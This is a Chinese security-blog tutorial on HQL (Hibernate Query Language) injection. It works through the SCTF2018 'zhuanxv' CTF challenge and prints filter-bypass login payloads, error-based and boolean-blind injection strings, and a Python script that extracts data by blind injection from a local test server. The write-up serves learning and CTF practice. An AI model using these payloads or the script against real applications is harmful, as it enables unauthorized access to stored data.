KeePass
- 关注
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9

日期:2021-09-03
作者:Obsidian
介绍:如题所述,本文将教会你如何正常的朗读
HQL
注入,以及如何遗忘。 : )小编提示:关注 『宸极实验室』,回复 『0903-HQL』,即可获取测试题目附件。
0x00 前言
什么是HQL
注入?
什么是HQL
注入?
如果你想知道什么是HQL
注入的话,
我现在就带你研究!
0x01 第一步
话不多说,首先来开始朗读教学。
HQL
注入也就是Hibernate Query Language Injection
。
嗨波内特 亏瑞 兰桂芝 因杰克神
是不是很简单,那么,文章到此结束。
以下,正文开始。
首先,HQL
是Hibernate Query Language
的简写,可类比于SQL
。那么,什么是Hibernate
?
Hibernate
是一种ORM
框架,用来映射与tables
相关的类定义(代码),可以自动生成SQL
语句,自动执行,在Java生态系统中很受欢迎。
而HQL
是Hibernate
独有的面向对象的查询语言,接近SQL
。在用Hibernate
作为查询中间层的时候,Hibernate
引擎会对HQL
进行解析,翻译成SQL
,再交给数据库执行。
所以,HQL
查询并不直接发送给数据库,而是由Hibernate
引擎对查询进行解析并解释。
这也就导致了,有两种错误消息的来源,一种来自Hibernate
引擎,一种来自数据库。
HQL
注入相比较于常规的SQL
注入而言,十分特殊。
它的特殊性在于,它没有延时函数,没有系统函数,更没有元数据表等。
很多地方说HQL
不支持UNION
,其实是错误的。Hibernate
支持UNION
的。
但是,想要使用UNION
,必须在模型的关系明确后,这种情况比较少见,所以会导致UNION
失败。
所以,想要利用HQL
注入,是一件比较极限和小众的事情。
0x02 第二步
首先,Hibernate
可以使用原生SQL
和HQL
,原生SQL
的注入不在本文的讨论范围之内。
其次,所有的注入的漏洞点都是存在于输入的位置,HQL
注入也不例外,例如:
getHibernateTemplate().find("from User where name ='" + name + "'");
HQL
注入的常见类型可以总结为两种:布尔盲注和报错注入。
有错误信息的回显,就是报错注入,例如:
如果系统禁止了错误信息的显示,就只能尝试布尔盲注了。(HQL
没有延时函数)
而且,HQL
也没有元数据表,当没有错误信息的时候,表名和字段名只能靠猜。
下面,以一道sctf2018
的zhuanxv
题目为例,进行了简单的修改,开启了报错。
登录框注入,单引号报错。
从中可以看到表名以及两个字段名。
常规的1' or '1'='1
发现,等号和空格被过滤。
这时候可以试试<>
或者like
这种常规的绕过方式对等号进行绕过,空格可用%09
或者%0A
进行替代。
但是这种情况,虽然语句闭合,但是,并没有造成万能密码的效果。
HQL
注入与常规注入不同,需要加上两遍or
。
发现成功造成万能密码的效果,进入后台,但这并不是我们的目标。
我们的目标是得到数据。
首先,构造一个错误的语句,例如一个不存在的列名,来爆出完整语句结构。
但这其实并没有多少用处。:)
既然存在报错信息,当然要尝试一下报错注入。
HQL
的报错注入,一般是构造不同数据类型直接的转换,比如字符与数字之间的比较。
1'and(select 'AAA' from User)<>1 and''<>
正常来说,上述语句可能会返回如下报错信息:
Data conversion error converting "AAA";
很显然,由于题目本身的原因,报错注入失败。
只剩一条路,布尔盲注。
测试语句为1'or(select%09'a'from%09User)like'b'or'1'like'1
而且我们获取数据的语句,有两种方式,一种是常规盲注的字符串切片,利用substring
等函数,例如:
1'or(select%09substring(name,1,1)%09from%09User)like'a'or'1'like'1
而另一种是利用%
,当然,需要编码为%25
,例如:
盲注的话,建议自己写脚本去自动化攻击,或者选择HQLMap
。
这是目前唯一一个HQL
注入自动化工具,但是并不是很好用。
所以我个人更喜欢自己写脚本。
# -*- coding: utf-8 -*-
# Author:Obsidian
# Date: 2021年5月30日 14:11:42
import requests
url = 'http://127.0.0.1:9032/zhuanxvlogin'
s = '0123456789abcdefghijklmnopqrstuvwxyz'
flag=''
def check(exp):
payload = {'user.name':exp,'user.password':'a'}
result = requests.post(url,payload).content
return 'Dream' in result
for i in range(1,100):
for ss in s:
exp = '1\'or(select\nsubstring(name,%d,1)\nfrom\nUser)like\'%s\'or\'1\'like\'1' %(i,ss)
#exp = '1\'or(select\nname\nfrom\nUser)like\'%s%%\'or\'1\'like\'1' %(flag+ss)
if check(exp):
flag += ss
break
print 'flag is :'+flag
0x03 第三步
本文只是一个非常基础的介绍,并没有涉及到HQL
的高深原理,作者本人也处在学习阶段。
如有错误,欢迎指正。
那么现在,你还记得Hibernate Query Language Injection
怎么读吗?
是不是呼应上了? :)
Reference
https://www.calder-systems.com/articles/web/33954.html
https://www.anquanke.com/post/id/212897
https://jayl1n.github.io/2018/11/15/java-audit-step-by-step-3/
https://github.com/Hecbi/sctf2018-zhuanxv
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
